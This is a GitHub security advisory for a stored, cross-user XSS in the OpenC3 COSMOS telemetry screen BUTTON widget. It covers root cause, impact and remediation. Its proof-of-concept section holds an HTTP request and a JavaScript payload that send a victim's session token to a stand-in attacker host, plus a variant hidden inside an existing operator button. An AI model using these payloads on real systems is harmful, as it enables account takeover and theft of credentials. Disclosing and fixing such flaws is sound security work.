GitHub Advisoryadvisory · npm
GHSA-gvf2-2rh5-mpgf OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget
HIGH
Official page ↗
- Aliases
- CVE-2026-77394
- Ecosystem
- npm
- Packages
- @openc3/vue-common
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-09-23
Affected packages
• npm @openc3/vue-common: >= 5.0.6, < 7.3.0 → fixed in 7.3.0
Description
Summary
A user who can save a telemetry screen (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget `eval()`s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session — a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.
The site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see "Contributing factor"), so the injected script runs unimpeded.
• Product: OpenC3 COSMOS (Core; likely Enterprise — see scoping note)
• Affected version: confirmed 7.2.0 (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm.
• Reporter: _Arpit Kubadia_
Description & root cause
1. Screen save (the store): `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body.
2. The sink (the execution): the `BUTTON` widget stores the button's action as its second parameter and `eval()`s it on click — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`:
```js
const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen
...
const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session
```
3. Cross-user delivery: screens are stored per-scope and rendered to any user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.
4. Contributing factor (CSP): `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)
Proof of Concept
A. Minimal PoC — a button that steals the viewer's token (verified)
Authenticated as any user (Core) / a `system_set` user (Enterprise), store a screen:
```
POST /openc3-api/screen HTTP/1.1
Host: localhost:2900
Content-Type: application/json
Authorization: ses_
Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}
```
→ HTTP 200, body `true`. Trigger (as the victim): open `http://:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click Refresh. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)*
A purely visual variant: replace the action with `alert(localStorage.openc3Token)`.
B. Realistic exploitation — hijack an EXISTING operational screen (no lure)
The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click:
• The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so appending `;; ` to an existing button keeps the original command working and adds the attacker's code. The operator sees no change.
• Example: take the stock `INST COMMANDING` screen's `Start Collect` button (which sends `api.cmd('INST COLLECT ...')`) and append:
```
... +
" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"
```
Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.
Impact
The injected script runs with the victim's session in the COSMOS origin. It can:
• Exfiltrate the victim's session token (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header).
• Act as the victim against the API, and — for a victim with script privileges — pivot to the Script Runner to achieve server-side code execution (the documented escalation chain).
This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.
Remediation
1. Do not `eval()` screen-supplied strings. Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.
2. Tighten the CSP (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script.
3. Treat screens as untrusted, cross-user content — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.
Related
Alias · CVE (1)
- CVE-2026-77394 OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf web
- https://github.com/OpenC3/cosmos/pull/3560 web
- https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3 web
- https://github.com/OpenC3/cosmos package
- https://github.com/OpenC3/cosmos/releases/tag/v7.3.0 web